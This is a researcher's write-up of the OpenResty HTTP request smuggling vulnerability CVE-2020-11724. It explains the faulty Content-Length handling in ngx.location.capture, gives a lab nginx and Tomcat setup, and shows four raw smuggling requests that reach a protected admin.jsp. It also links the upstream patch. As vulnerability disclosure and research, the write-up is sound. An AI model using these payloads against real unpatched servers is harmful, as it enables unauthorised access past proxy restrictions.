OpenResty Http request smuggling Vulnerability(CVE-2020-11724)

  1. Vulnerability introduction
  2. Vulnerability details
  3. Vulnerability Demo
    1. test1
    2. test2
    3. test3
    4. test4
  4. References:
  5. Patch

Author: UltramanGaia

Vulnerability introduction

After conducting security research on openresty / lua-nginx-module, we found that the implementation of ngx.location.capture and ngx.location.capture_multi in openresty / lua-nginx-module has defects.
In most cases, the value of Content-Length cannot be modified correctly, which will bring the risk of HTTP request smuggling vulnerabilities.

An issue was discovered in OpenResty before 1.15.8.4. ngx_http_lua_subrequest.c allows HTTP request smuggling, as demonstrated by the ngx.location.capture API.

Vulnerability details

openresty/lua-nginx-module provides ngx.location.capture and ngx.location.capture_multi directives for sending sub-requests. A common usage is as follows, nginx + lua performs logical judgment, authentication and authorization, and then uses ngx.location.capture combined withproxy_pass to forward to the back-end service. Generally, nginx and back-end services will use keepalive connections to improve performance.

This involves the implementation of the HTTP protocol. We know that the protocol specifies that when the http request contains both Content-Length andTransfer-Encoding: chunked, Content-Length should be ignored.

There is a problem with the code implementation of ngx.location.capture, which causes the Content-Length value passed to the backend service to be incorrect, which leads to http request smuggling vulnerability.

ngx_http_lua_contentby.c:ngx_http_lua_content_handler
    ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture
        ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture_multi
            ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest

In c code, the ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest should call ngx_http_lua_set_content_length_header to adjust the request header Content-Length.

image-20200316013246809

The code is as shown in the screenshot above. The first case will recalculate Content-Length according to the body, and the second case will setConent-Length to 0. However, the third case does not modify Content-Length, which is a problem here.

Vulnerability Demo

openresty 1.15.8.2 + tomcat

nginx.conf

http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;

    sendfile        on;

    keepalive_timeout  65;

    upstream backend{
        server 192.168.83.1:8080;
        keepalive 32;
    }

    server {
        listen       8081;
        server_name  localhost;


        location / {
            root   html;
            index  index.html index.htm;
        }

        location /test1 {
            content_by_lua_block {
                res = ngx.location.capture('/backend')
                ngx.print(res.body)
            }
        }

        location /test2 {
            content_by_lua_block {
                ngx.req.read_body();
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
                ngx.print(res.body)
            }
        }

        location /test3 {
            content_by_lua_block {
                ngx.req.read_body();
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
                ngx.print(res.body)
            }
        }

        location /test4 {
            content_by_lua_block {
                ngx.req.read_body();
                local data = ngx.req.get_body_data()
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
                ngx.print(res.body)
            }
        }

        location /backend {
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            proxy_pass http://backend/user.jsp;
        }
    }
}

We use tomcat as the back-end service, and then we deploy user.jsp andadmin.jsp.

user.jsp

<%
out.println("Your are normal user, method=" + request.getMethod());
%>

admin.jsp

<%
out.println("Your are Admin, method=" + request.getMethod());
%>

By design, user.jsp is exposed to the outside through Openresty, and external access to admin.jsp is prevented.

With the request smuggling vulnerability, we can bypass this restriction.

test1

location /test1 {
    content_by_lua_block {
        res = ngx.location.capture('/backend')
        ngx.print(res.body)
    }
}

We can construct the following packets that reach the third case, resulting in a Content-Length not set properly, resulting in vulnerabilities request smuggling

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0


You can use BurpSuite to easily construct the following request package, and don’t forget to remove the checkbox of Update Content-Length in the menu.

image-20200316065828729

Below are the requests and responses captured by Wireshark.

image-20200316070244601

Here is the request packet for Openresty to interact with the backend service.

image-20200316070339472

test2

location /test2 {
    content_by_lua_block {
        ngx.req.read_body();
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
        ngx.print(res.body)
    }
}

For a POST subrequest, if no body is specified and always_forward_body is false (default), we can construct the following request packet to reach the third case

GET /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200316075035511

Below are the requests and responses captured by Wireshark.

image-20200316075059345

Here is the request packet for Openresty to interact with the backend service.

image-20200316075121600

test3

location /test3 {
    content_by_lua_block {
        ngx.req.read_body();
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
        ngx.print(res.body)
    }
}

This configuration does not explicitly set the body. Using always_forward_body, you can send the following packets to attack.

GET /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200316071849057

Below are the requests and responses captured by Wireshark.

image-20200316071903718

Here is the request packet for Openresty to interact with the backend service.

image-20200316071932781

test4

location /test4 {
    content_by_lua_block {
        ngx.req.read_body();
        local data = ngx.req.get_body_data()
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
        ngx.print(res.body)
    }
}

This configuration attempts to get the data using ngx.req.get_body_data, and assigned to the body. We can use the Transfer-Encoding: chunked, length set to 0, resulting in ngx.req.get_body_data() returns a value of nil. So attack packets are as follows

GET /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200320220157652

Below are the requests and responses captured by Wireshark.

image-20200316073534414

Here is the request packet for Openresty to interact with the backend service.

image-20200316073615212

References:

There are many ways to exploit the http request smuggling vulnerability. For details, please refer to the link below.

https://portswigger.net/web-security/request-smuggling/exploiting

Patch

https://github.com/openresty/openresty/blob/4e8b4c395f842a078e429c80dd063b2323999957/patches/ngx_http_lua-0.10.15-fix_location_capture_content_length_chunked.patch


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com